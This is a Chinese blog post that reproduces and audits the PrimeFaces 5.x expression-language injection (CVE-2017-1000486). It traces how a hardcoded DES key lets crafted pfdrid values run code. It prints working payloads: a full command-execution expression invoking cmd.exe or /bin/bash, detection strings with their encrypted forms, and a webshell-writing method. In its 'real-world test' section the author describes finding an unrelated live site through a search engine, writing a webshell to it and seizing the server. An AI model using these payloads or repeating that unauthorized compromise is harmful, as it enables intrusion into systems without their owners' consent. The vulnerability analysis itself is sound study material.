前言
2020年暑假刚学安全那会儿,去一个安全公司实习,负责做等保渗透。通过扫描器awvs
扫到了一个primefaces5.x Expression Language inject
漏洞。当时awvs
爆了高危,百度一搜索,发现这个漏洞能够执行系统命令,当时开心了好久好久。但是就是不明所以,pfdrid
值为嘛是这个,为什么请求参数里面带cmd
就可以执行命令。
primefaces5.x Expression Language inject
环境搭建
下载存在漏洞的war包
https://github.com/pimps/CVE-2017-1000486
将这个war包下载下来,并解压,然后用IDEA
打开。
配置tomcat
在右上角点击add Configurations
->+
->Tomcat Server
->Local
添加tomcat
点击Deployment
->+
,选择你刚刚解压的项目根目录。
最后点击OK
.
配置JDK
在左上角的功能菜单File
->Project Structure
->Project Settings
->Project
里面设置一下jdk
。
运行war包
点击右上角的Run
环境也就搭建起来了。
互联网流程payload
命令执行payload
互联网流传的payload如下:
1 | POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 |
可以看见命令执行是成功的。
获取网站目录的payload
1 | POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 |
网站目录也是能正常获取的。
漏洞复现是完全没问题的,接下来也就是审计这个漏洞是怎么触发的。
代码审计
发送弹计算器的数据包
1 | POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 |
idea进入调试模式(中间的审计部分截图里的payload不是弹计算器的,写文章的时候忘记了)。
在web.xml
里面
*.jsf
和*.xhtml
都是用javax.faces.webapp.FacesServlet
来处理的。
进入到javax.faces.webapp.FacesServlet.service
中
执行到handler.handleResourceRequest
,这段代码的作用是去匹配请求数据里的参数。
此时请求上下文中的context
对象是PrimeFacesContext
进入到org.primefaces.application.resource.PrimeResourceHandler
中
可以看见在handleResourceRequest
方法里面,首先先获取了pfdrt
、ln
、pfdrid
参数和参数值,将pfdrt
的值赋值给handlertype
。且handler
的值不为空,因此进入if逻辑
。
进入到org.primefaces.application.resource.StreamedContentHandler.handler
并初始化了strEn
,其变量类型是StringEncrypter
进入到该初始化的流程。
即org.primefaces.context.DefaultRequestContext.getEncrypter
中
执行到this.encrypter = new StringEncrypter(this.getApplicationContext().getConfig().getSecretKey());
该方法是用来初始化密钥了
进入到org.primefaces.util.StringEncrypter
可以看见该流程是用来初始化构造参数的。
分别初始化了密钥
和salt
密钥
是值是primefaces
salt
的值是一个字节数组{-87, -101, -56, 50, 86, 52, -29, 3}
此时执行到org.primefaces.application.resource.StreamedContentHandler.handler
中
String dynamicContentEL = strEn.decrypt(dynamicContentId);
对pfdrid
的值进行解密操作。
解密后的值,也就是一个el表达式
此时dynamicContentEL
的值不为空,进入if逻辑。
发现此处有ValueExpression
和createValueExpression
它是el的对象和方法,它可以用来动态执行java代码
也正是因为ValueExpression ve = context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(), dynamicContentEL, StreamedContent.class);
中的dynamicContentEL
值可控,所以才导致了代码执行漏洞的产生。
因此计算器也成功弹了出来。
漏洞利用
编写PrimeFaces5.X表达式注入-Tools
由于分析,知道了该算法是des
,密钥是primefaces
,salt是{-87, -101, -56, 50, 86, 52, -29, 3}
。
因此写了一个小工具方便我快速的对el表达式的内容进行加密,对payload进行解密操作。
首先看看互联网流程的那个能命令执行的payload所对应的el表达式是什么。
1 | ${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")} |
解读el表达式
${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")}
facesContext是上下文的请求对象,第一行是用于设置响应头中的编码格式,防止中文乱码。
1 | ${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())} |
以反射方式,创建ScriptEngineManager
对象,并将其存于session
中。
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
从session中获取创建的ScriptEngineManager
对象,使用setWriter()
方法重定向输出到facesContext
中的响应writer
中。
简单的说,做命令执行回显用的。
1 | ${session.getAttribute("scriptengine").eval("var os=java.lang.System.getProperty(\"os.name\");var cmd=null;var args=null;if(os.toLowerCase().contains(\"win\")){cmd=\"cmd.exe\";args=\"/C\";}else{cmd=\"/bin/bash\";args=\"-c\";}var proc = new java.lang.ProcessBuilder(cmd,args,\"".concat(request.getParameter("cmd")).concat("\").start();var is=proc.getInputStream();var sc=new java.util.Scanner(is,\"UTF-8\");var out=\"\";while(sc.hasNext()){out+=sc.nextLine()+String.fromCharCode(10);}print(out);"))} |
这段更好理解了,也就是自定义一个js脚本,动态执行java代码,并关闭输出流。
漏洞检测
网上的漏洞检测方法是
1 | ${facesContext.getExternalContext().getResponse().getWriter().println("hacker by keep")} |
即
1 | uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSMpXaCImUIdC+Vcdl+OQkO+kRp3mfDKaZJLIrQ6RBawD91M0MbRRpdmdrKwDK98lezVy9zwWs6J7r+sux7TTcUFklTt+3t3u7nvBKV8stWpZCGXvIz7y53H1SkdN2vqkwSoecoGeVkpNtgzE44iHo5rVzA6gleX+k4v1I8Xd9jBfojgvpekUF2neIFjucRf742iahxeKVgrRV8WylWfThQpNWKVPUu0tWA== |
也就是直接判断响应信息里面是否包含该字符串。
但是可以直接设置在响应头里${facesContext.getExternalContext().getResponse().setHeader("hello","hacker")}
1 | uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3PPQFlQBUCSTOWgBpj7QfzTYJj9nQQ/QC2Xi7X51bIqY= |
个人感觉这种方式的好处是payload比较短了
GETSHELL
能动态执行java,那就直接通过代码执行写马。通过命令执行的方式写马,特征太明显了。
一开始是想通过表达式注入,注入一个tomcat内存马,结果死活不行。后面放弃了,直接落地jsp文件吧。
直接贴payload了
1 | ${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")} |
将java.net.URLDecoder.decode的值换成你自己经过urlencode的webshell即可。
一开始是用的base64,本地测试没问题,找了一个同样有该漏洞的站,结果内容写失败了。最后换成了url编码就解决了
实战测试
通过搜素引擎,找到一个使用了primefaces
的网站。并存在表达式注入漏洞。
直接利用代码执行写入webshell,拿下服务器。
总结
学着审计了一下两年前通过AWVS扫到的漏洞,心里还是很感慨的。这个漏洞是由于硬编码导致了el表达式注入漏洞。而硬编码的问题却是许多开发注意不到的问题。有时候测试环境将某个值写进去了,方便开发。结果系统上线时,忘记删了,这也是一种很常见的情况。
参考
https://github.com/pimps/CVE-2017-1000486
https://www.cnblogs.com/jdr-gbl/p/14034412.html
https://www.jianshu.com/p/88c6a7c76dbe
https://mp.weixin.qq.com/s/nCvAICapO8NX--VfToLcwQ